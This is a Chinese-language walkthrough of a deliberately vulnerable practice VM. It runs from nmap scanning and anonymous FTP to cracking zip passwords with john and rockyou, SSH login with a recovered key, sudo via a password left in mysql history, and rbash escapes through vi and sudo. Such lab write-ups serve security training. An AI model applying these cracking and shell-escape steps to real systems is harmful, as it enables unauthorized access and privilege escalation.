前言
这是打靶训练的31周,难度低,靶机下载
信息搜集
nmap扫描结果
21/tcp open ftp ProFTPD 1.3.5e
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
ProFTPD有exp,都试了试没法利用

使用匿名(anonymous)登录ftp,可看到存在隐藏文件.@admins和.@users

使用mget *和get将全部文件下载下来,cat .@users
Hi Users,
be carefull with your keys. Find them in %yourname%.zip.
The passwords are the old ones.
Regards
root
cat .@admins
SGkgQWRtaW5zLAoKYmUgY2FyZWZ1bGwgd2l0aCB5b3VyIGtleXMuIEZpbmQgdGhlbSBpbiAleW91cm5hbWUlLnppcC4KVGhlIHBhc3N3b3JkcyBhcmUgdGhlIG9sZCBvbmVzLgoKUmVnYXJkcwpyb290
base64解密
Hi Admins,
be carefull with your keys. Find them in %yourname%.zip.
The passwords are the old ones.
Regards
root
通过上述信息可知,文件名就是用户名,里面的内容就是密码,并且还提示密码是比较老的。解压压缩包,需要密码
zip2john tom.zip > tom.hash和zip2john cathrine.zip > cathrine.hash,将zip转换成john能识别的格式。之后用jjohn cathrine.hash --wordlist=rockyou.txt加载rockyou字典进行爆破

我使用rockyou只能爆破出tom.zip和cathrine.zip。得到tom.zip的解压码为iubire,解压出来的文件为id_rsa
chmod 400 id_rsa
ssh -i id_rsa tom@10.16.122.112
免密登录成功

提权
cat .mysql_history
_HiStOrY_V2_
show databases;
quit
create database 'support';
create database support;
use support
create table users;
show tables
;
select * from support
;
show tables;
select * from support;
insert into support (tom, xx11yy22!);
quit
这个xx11yy22!明显就是个密码,sudo -l输入xx11yy22!后,拥有root所有权限

仔细观察当我使用sudo su的时候shell=/bin/bash,而使用sudo -s的时候shell=/bin/rbash。并且敲完cd /ro后table键无法补全
rbash是一种受限制的命令行,换句话说,很多功能无法使用,比如cd

现在要进行rbash逃逸,第一种方式就是上面的sudo -s或者sudo su尝试即可。第二种是vi逃逸
vi
:set shell=/bin/bash
:shell
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
第三种,利用mysql,sudo mysql -u root -p
